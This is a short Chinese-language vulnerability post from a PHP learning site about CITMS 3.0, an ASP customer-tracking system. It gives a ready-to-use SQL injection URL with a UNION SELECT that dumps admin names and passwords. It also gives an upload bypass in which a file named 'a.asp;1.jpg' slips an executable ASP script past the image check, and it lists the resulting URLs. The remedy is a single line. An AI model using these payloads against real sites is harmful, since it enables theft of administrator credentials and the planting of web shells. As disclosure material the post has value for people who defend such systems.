网站地图    收藏   

子栏目

主页 > 后端 > 网站安全 >

公司客户信息与追踪管理系统CITMS 3.0 注入及上传

来源：自学PHP网    时间：2015-04-17 12:00 作者： 阅读:次

[导读] 管理系统部分功能如下：（１）在线增加、修改、删除管理员（２）在线增加、修改、删除客户记录、支持HTML等..（３）前台记录有追踪功能．．以及追踪记录和点击次数显示源码下载...

管理系统部分功能如下：
（１）在线增加、修改、删除管理员
（２）在线增加、修改、删除客户记录、支持HTML等..
（３）前台记录有追踪功能．．以及追踪记录和点击次数显示

源码下载：
http://www.mycodes.net/30/5238.htm

注入：
http://www.2cto.com /citms3.0/list.asp?id=1320 union select 1,name,3,pass,5,6,7,8,9,10,11,12,13,14,15,16 from admin

上传
http://www.2cto.com /soft/demo/citms3.0/upload_pic.asp

上传a.asp;1.jpg 成功后得到：a.asp;随机数.jpg

如：http://www.2cto.com /a.asp;131672.jpg

修复：

加入过滤和上传验证

最新评论

    加载更多~~

    添加评论

    更多文章推荐

    自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习

    京ICP备14009008号-1@版权所有www.zixuephp.com

    网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com

    添加评论